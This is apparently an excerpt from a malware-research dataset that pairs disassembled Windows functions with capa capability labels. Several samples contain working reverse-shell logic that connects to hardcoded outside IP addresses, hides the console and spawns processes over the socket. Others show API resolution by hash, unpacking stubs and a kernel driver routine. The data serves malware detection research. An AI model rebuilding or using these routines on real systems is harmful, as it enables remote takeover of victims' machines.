joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011285
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
jmp 0x1400117f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xe6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x588]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x508], rax
lea rcx, [0x140023075]
call fcn.14001138e
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140011858
mov eax, 1
jmp 0x140011a16
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x1c8]
call fcn.1400112da
mov dword [rbp + 0x1cc], 2
mov dword [rbp + 0x1d0], 1
lea r9, [rbp + 0x238]
lea r8, [rbp + 0x1c8]
lea rdx, str.5000
lea rcx, str.97.125.246.253
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x218], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x278], rax
mov edx, 0xb
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rbp + 0x218]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x218]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x218]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0xffffffffffffffff
jne 0x140011922
mov eax, 1
jmp 0x140011a16
mov rax, qword [rbp + 0x218]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x218]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140011956
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140011922
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x2a0]
call fcn.1400112da
mov dword [rbp + 0x2a0], 0x68
mov dword [rbp + 0x2dc], 0x100
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x300], rax
xor r9d, r9d
mov r8d, 0x1e
lea rdx, [rbp + 0x358]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.WS2_32.dll_recv]
lea rax, [rbp + 0x328]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x358]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ad60]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x508]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x518]
pop rdi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014260
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014280
xor al, al
jmp 0x140014301
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014293
xor al, al
jmp 0x140014301
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400142bd
xor al, al
jmp 0x140014301
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400142d1
xor al, al
jmp 0x140014301
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400142e3
xor al, al
jmp 0x140014301
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142ff
xor al, al
jmp 0x140014301
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Create device object

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x50
and qword [r11 + 0x18], 0
lea rax, [r11 + 0x18]
mov qword [r11 - 0x28], rax
mov r9d, 0x22
mov byte [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0x100
mov rbx, rcx
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jns 0x140001043
lfence
jmp 0x14000109a
lea rax, [0x1400017a0]
mov dword [rsp + 0x40], 0x1a0018
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov edi, eax
test eax, eax
jns 0x14000107f
lfence
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, edi
jmp 0x14000109a
lea rax, [0x140001140]
mov qword [rbx + 0x68], rax
lea rax, [0x1400010e0]
mov qword [rbx + 0xe0], rax
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x1400010a8
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, ecx
lea rdx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
js 0x1400010cc
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x1401e6130
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401e613d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401e614d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401e6135
lea eax, [rcx + 1]
jmp 0x1401e615b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401e616e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401e6154
sub eax, 3
jb 0x1401e618e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401e61dd
sar eax, 1
movsxd rbp, eax
jb 0x1401e61c4
jmp 0x1401e619c
add ebx, ebx
jne 0x1401e619a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401e61c4
inc ecx
add ebx, ebx
jne 0x1401e61aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401e61c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401e61bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401e61ac
add ecx, 2
jmp 0x1401e61c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401e60f2
jmp 0x1401e613d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xcea00
mov dl, 0x1d
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401e622d
cmp rsi, rcx
jae 0x1401e6235
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401e6214
cmp al, 0x8f
ja 0x1401e6214
cmp byte [rsi - 2], 0xf
je 0x1401e621a
sub al, 0xe8
cmp al, 1
ja 0x1401e61fe
cmp rsi, rcx
jae 0x1401e6235
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401e6204
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401e6235
lodsb al, byte [rsi]
jmp 0x1401e6214
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1e2000]
mov eax, dword [rdi]
or eax, eax
je 0x1401e6292
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1e6168]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401e6242
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1401e628c
mov qword [rbx], rax
add rbx, 8
jmp 0x1401e6262
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401e62cc
cmp al, 0xef
ja 0x1401e62be
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1401e629e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1401e62ad
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1401e634b], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1401e634b
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401e633b
sub rsp, 0xffffffffffffff80
jmp 0x140001125
Function at 0x180001018
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001193
and dword [rsp + 0x28], eax
lea ecx, [rax + 2]
and dword [rsp + 0x20], eax
lea edx, [rax + 1]
xor r9d, r9d
mov dword [rsp + 0x50], 0xb8220002
lea r8d, [rax + 6]
mov dword [rsp + 0x54], 0x5a9e4692
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001193
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x50]
and qword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
mov rcx, rax
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
jne 0x18000118a
xor r9d, r9d
lea r8d, [rax + 0x40]
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
add eax, 0xfffffffc
cmp eax, 0x3b
ja 0x18000118a
mov edi, dword [rbp - 0x10]
mov eax, edi
mov edx, edi
mov ecx, edi
xor eax, 0x65001807
xor edx, 0x8bfe031
xor ecx, 0x15249b11
mov dword [rbp + 0x1e0], eax
call fcn.180001294
test rax, rax
je 0x18000118a
xor edi, 0xcbd15b7d
mov rcx, rax
mov edx, edi
call fcn.1800011ec
mov rdi, rax
test rax, rax
je 0x18000118a
mov edx, 0x68
lea rcx, [rbp - 0x80]
call fcn.1800011b0
mov edx, 0x18
mov dword [rbp - 0x80], 0x68
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x44], 0x101
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x30], rbx
call fcn.1800011b0
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1800011ec
Capabilities:
Hash data using djb2
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov ebp, edx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov r10d, dword [r8 + 0x20]
mov r11d, dword [r8 + 0x24]
add r10, rcx
mov ebx, dword [r8 + 0x1c]
add r11, rcx
mov esi, dword [r8 + 0x18]
add rbx, rcx
xor ecx, ecx
test esi, esi
je 0x180001268
mov edx, dword [r10]
mov r8d, 0x1505
add rdx, r9
xor edi, edi
mov al, byte [rdx]
jmp 0x180001255
movsx eax, al
imul r8d, r8d, 0x21
add r8d, eax
inc edi
mov eax, edi
mov al, byte [rdi + rdx]
test al, al
jne 0x180001244
cmp r8d, ebp
je 0x18000127f
inc ecx
add r10, 4
cmp ecx, esi
jb 0x180001232
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [r11 + rcx*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
jmp 0x18000126a
Function at 0x180001294
Capabilities:
Access peb ldr_data
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov rax, qword gs:[0x60]
mov r10d, edx
mov r11d, ecx
xor ebx, ebx
mov r8, qword [rax + 0x18]
mov rax, qword [r8 + 0x10]
mov r8, qword [rax]
jmp 0x1800012e7
movzx eax, word [r9]
mov edx, 0x1505
mov ecx, ebx
jmp 0x1800012d5
movzx eax, ax
imul edx, edx, 0x21
add edx, eax
inc ecx
mov eax, ecx
movzx eax, word [r9 + rcx*2]
test ax, ax
jne 0x1800012c4
cmp edx, r11d
je 0x1800012f8
cmp edx, r10d
je 0x1800012f8
mov r8, qword [r8]
mov r9, qword [r8 + 0x60]
test r9, r9
jne 0x1800012b7
xor eax, eax
mov rbx, qword [rsp + 8]
ret
mov rax, qword [r8 + 0x30]
jmp 0x1800012f2

Function at 0x140fdf058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140fdf1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140fdf089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fdf06f
add dl, dl
jne 0x140fdf096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fdf0f6
xor eax, eax
add dl, dl
jne 0x140fdf0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fdf1ad
add dl, dl
jne 0x140fdf0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fdf0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fdf0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fdf0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140fdf0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140fdf07e
mov eax, 1
add dl, dl
jne 0x140fdf106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fdf113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fdf0fb
sub eax, ebx
mov ebx, 1
jne 0x140fdf14c
mov ecx, 1
add dl, dl
jne 0x140fdf12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fdf13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fdf123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fdf07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140fdf168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fdf175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fdf15d
cmp eax, 0x7d00
jae 0x140fdf19b
cmp eax, 0x500
jb 0x140fdf196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fdf07e
cmp eax, 0x7f
ja 0x140fdf19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fdf07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140fdf1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140fdf07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800018a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800011e0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x38
ret
Function at 0x180006bf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
movzx eax, byte [rcx + 1]
mov rdi, rcx
movzx edx, byte [rcx]
xor ebx, ebx
shl edx, 8
mov r9d, ebx
or edx, eax
movzx eax, byte [rcx + 2]
shl edx, 8
or edx, eax
movzx eax, byte [rcx + 3]
shl edx, 8
or edx, eax
lea ecx, [rdx + 8]
add rcx, rdi
movzx eax, byte [rcx + 1]
movzx r11d, byte [rcx]
shl r11d, 8
or r11d, eax
movzx eax, byte [rcx + 2]
shl r11d, 8
or r11d, eax
movzx eax, byte [rcx + 3]
shl r11d, 8
mov ecx, 0xffffffff
or r11d, eax
lea eax, [rdx + 4]
mov r10d, eax
test eax, eax
je 0x180006c85
mov qword [rsp + 0x10], rsi
lea rsi, [0x180029270]
movzx edx, byte [rdi + r9 + 4]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx r8d, dl
inc r9
xor ecx, dword [rsi + r8*4]
cmp r9, r10
jb 0x180006c62
mov rsi, qword [rsp + 0x10]
not ecx
cmp r11d, ecx
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x18]
pop rdi
ret
Function at 0x18000b0b0
Capabilities:
Enumerate pe sections

Disassembly:
mov r9, rcx
cmp r8, 0x20
je 0x18000b0bf
mov eax, 0x61
ret
mov dword [rcx + 0xbc], 1
movzx eax, byte [rdx + 1]
movzx ecx, byte [rdx]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 2]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 3]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xc0], ecx
movzx eax, byte [rdx + 5]
movzx ecx, byte [rdx + 4]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 6]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 7]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xc4], ecx
movzx eax, byte [rdx + 9]
movzx ecx, byte [rdx + 8]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0xa]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0xb]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xc8], ecx
movzx eax, byte [rdx + 0xd]
movzx ecx, byte [rdx + 0xc]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0xe]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0xf]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xcc], ecx
movzx eax, byte [rdx + 0x11]
movzx ecx, byte [rdx + 0x10]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x12]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x13]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xd0], ecx
movzx eax, byte [rdx + 0x15]
movzx ecx, byte [rdx + 0x14]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x16]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x17]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xd4], ecx
movzx eax, byte [rdx + 0x19]
movzx ecx, byte [rdx + 0x18]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x1a]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x1b]
shl ecx, 8
add ecx, eax
mov dword [r9 + 0xd8], ecx
movzx ecx, byte [rdx + 0x1c]
movzx eax, byte [rdx + 0x1d]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x1e]
shl ecx, 8
add ecx, eax
movzx eax, byte [rdx + 0x1f]
shl ecx, 8
add ecx, eax
xor eax, eax
mov dword [r9 + 0xdc], ecx
ret
Function at 0x18000c430
Capabilities:
Read file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x30
cmp qword [rdx + 0x18], 8
mov r14, rcx
mov rcx, rdx
mov rdi, rdx
jb 0x18000c44c
mov rcx, qword [rdx]
lea rdx, [0x1800299bc]
mov qword [rsp + 0x60], rbp
call fcn.18001eb08
mov rbx, rax
test rax, rax
je 0x18000c47f
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001e9a0
mov rcx, rbx
test eax, eax
je 0x18000c492
call fcn.18001955c
mov eax, 0x4e
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rbx
ret
call fcn.18001e6b0
mov rcx, rbx
movsxd rbp, eax
call fcn.18001955c
cmp ebp, 0x7fffffff
je 0x18000c47f
test ebp, ebp
js 0x18000c47f
mov rdx, qword [r14]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r15
mov r15, qword [r14 + 8]
mov rcx, r15
sub rcx, rdx
cmp rbp, rcx
jae 0x18000c4d0
lea rax, [rdx + rbp]
jmp 0x18000c502
jbe 0x18000c506
mov rax, qword [r14 + 0x10]
sub rax, rdx
cmp rbp, rax
jbe 0x18000c4eb
mov rdx, rbp
mov rcx, r14
call fcn.18000ca00
jmp 0x18000c506
mov rbx, rbp
xor edx, edx
sub rbx, rcx
mov rcx, r15
mov r8, rbx
call fcn.18000f630
lea rax, [rbx + r15]
mov qword [r14 + 8], rax
mov r15, qword [rsp + 0x20]
test ebp, ebp
jne 0x18000c524
mov rsi, qword [rsp + 0x28]
xor eax, eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rbx
ret
cmp qword [rdi + 0x18], 8
jb 0x18000c52e
mov rdi, qword [rdi]
mov rbx, qword [r14]
lea rdx, [0x1800299bc]
mov rcx, rdi
call fcn.18001eb08
mov rdi, rax
test rax, rax
jne 0x18000c55e
mov rsi, qword [rsp + 0x28]
lea eax, [rdi + 0x4e]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rbx
ret
mov r9, rdi
mov r8, rbp
mov edx, 1
mov rcx, rbx
call fcn.18001ed74
mov rcx, rdi
mov rbx, rax
call fcn.18001955c
mov rsi, qword [rsp + 0x28]
xor eax, eax
mov ecx, eax
cmp rbx, rbp
mov rbp, qword [rsp + 0x60]
mov eax, 0x4e
cmovne ecx, eax
mov eax, ecx
add rsp, 0x30
pop r14
pop rdi
pop rbx
ret
Function at 0x18000cb60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x18002d010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor edi, edi
mov rbp, r8
mov r13, rdx
mov r15, rcx
test r8, r8
je 0x18000cbb8
mov rbx, rdx
nop dword [rax]
movsx ecx, byte [rbx]
call fcn.18001372c
inc edi
mov byte [rbx], al
movsxd rax, edi
lea rbx, [rbx + 1]
cmp rax, rbp
jb 0x18000cba0
mov eax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov eax, dword [rcx + 0x1c]
mov edx, dword [rcx + 0x20]
add rax, r15
mov r12d, dword [rcx + 0x18]
add rdx, r15
mov qword [rsp + 0x30], rax
mov eax, dword [rcx + 0x24]
add rax, r15
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
xor r14d, r14d
nop
lea eax, [r14*4]
mov rbx, 0xffffffffffffffff
mov edx, dword [rax + rdx]
add rdx, r15
inc rbx
cmp byte [rdx + rbx], 0
jne 0x18000cc05
cmp rbx, rbp
jne 0x18000cc8c
mov r8, rbx
lea rcx, [rsp + 0x40]
call fcn.180020240
xor esi, esi
test rbx, rbx
je 0x18000cc48
lea rdi, [rsp + 0x40]
nop dword [rax]
movsx ecx, byte [rdi]
call fcn.180020204
inc esi
mov byte [rdi], al
movsxd rax, esi
lea rdi, [rdi + 1]
cmp rax, rbx
jb 0x18000cc30
mov r8, rbx
lea rcx, [rsp + 0x40]
mov rdx, r13
call fcn.1800150c0
test eax, eax
je 0x18000cc9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0xa0], eax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
inc r14d
cmp r14d, r12d
jae 0x18000ccb8
mov rdx, qword [rsp + 0x20]
jmp 0x18000cbf0
mov rax, qword [rsp + 0x28]
lea ecx, [r14 + r14]
movzx eax, word [rcx + rax]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4]
add rax, r15
jmp 0x18000ccbf
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18000d4a0
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800184d4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180018504
xor eax, eax
jmp 0x1800185c7
mov rbp, rbx
cmp word [rax], si
je 0x180018529
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180018510
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001850c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180018424
movsxd r14, eax
test eax, eax
jne 0x180018567
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800184fd
mov rcx, r14
call fcn.180016b04
mov rdi, rax
test rax, rax
jne 0x180018580
xor ecx, ecx
call fcn.180015a94
jmp 0x18001855c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180018424
test eax, eax
jne 0x1800185b1
mov rcx, rdi
call fcn.180015a94
jmp 0x1800185bb
xor ecx, ecx
call fcn.180015a94
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
